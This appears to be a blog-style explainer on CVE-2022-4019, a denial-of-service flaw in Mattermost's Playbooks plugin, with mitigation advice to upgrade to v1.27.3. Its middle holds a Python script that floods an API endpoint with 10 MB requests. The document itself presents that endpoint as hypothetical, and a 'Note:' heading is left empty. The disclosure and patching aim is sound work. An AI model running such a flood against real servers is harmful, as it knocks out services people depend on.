Mattermost is a popular open-source messaging platform for teams, often used as an alternative to tools like Slack. Like many modern apps, it allows extensions through plugins—one of the most useful being the *Playbooks* plugin for incident coordination.

But in 2022, researchers uncovered a serious vulnerability in this Playbooks plugin. Tracked as CVE-2022-4019, this bug gives attackers a simple way to bring down your whole Mattermost server—just by abusing the API with some carefully crafted requests.

Let’s break down what the vulnerability is, how to reproduce it, and most importantly, how to patch and protect your environment.

Vulnerability: Denial-of-service (DoS) in the Mattermost Playbooks plugin

- CVE: CVE-2022-4019  
- Impact: Authenticated user can crash Mattermost server by sending large requests to a certain API endpoint

How the Bug Works

The Playbooks plugin exposes several REST API endpoints to allow automated management of playbooks, tasks, and runs. One of these endpoints fails to properly limit the size or number of incoming requests.

An authenticated attacker (someone with an account on your Mattermost system) can send a large volume of oversized requests to this endpoint. Since the server doesn't limit memory or CPU usage for these requests, it gradually becomes overwhelmed—eventually leading to high resource consumption and a crash.

Let’s see just how easy this can be done.

Imagine the vulnerable endpoint is /plugins/playbooks/api/v/runs/addtimelineevent. An attacker with a valid Mattermost session can write a script like this:

import requests

# Update these with your instance values
MATTERMOST_URL = 'https://your-mattermost.example.com';
API_ENDPOINT = '/plugins/playbooks/api/v/runs/addtimelineevent'
AUTH_TOKEN = 'YOUR_AUTH_TOKEN_HERE'

# Craft a large payload for DoS
big_data = {
    "run_id": "some_run_id",
    "summary": "A" * 10_000_000  # 10 MB of junk data
}

headers = {
    'Authorization': f'Bearer {AUTH_TOKEN}',
    'Content-Type': 'application/json'
}

for _ in range(100):
    response = requests.post(f"{MATTERMOST_URL}{API_ENDPOINT}", json=big_data, headers=headers)
    print(f"Sent. Response: {response.status_code}")

Note:

How Serious is This?

Because the attacker must have a Mattermost account, it’s an authenticated DoS, not remote or unauthenticated. But in many organizations, internal users (even low-privilege accounts) could abuse this hole. That could mean a disgruntled employee or someone with stolen credentials can take down your entire communication system.

Fixing and Mitigation

The good news: the fix is simple. The Mattermost team quickly addressed the issue in Playbooks v1.27.3.

Solution

Upgrade the Playbooks plugin to at least v1.27.3.

- Mattermost Playbooks releases

Check your current plugin version from the System Console or by running

cd ~/mattermost/plugins
ls playbooks-*.tar.gz

If you see a version less than 1.27.3, upgrade immediately!

References & Resources

- NVD Entry: CVE-2022-4019
- Mattermost Security Bulletin
- Playbooks Plugin GitHub
- Original Disclosure on huntr.dev

Wrapping Up

CVE-2022-4019 is a textbook example of why plugins and extensions need just as much security review as your core application. A simple oversight can turn a productivity booster into a potential attack vector.

If you run Mattermost and use Playbooks, update the plugin as soon as possible — and keep an eye on resource limits for all critical services. Even “internal-only” tools can get hit from the inside.

Timeline

Published on: 11/23/2022 06:15:00 UTC
Last modified on: 11/26/2022 03:36:00 UTC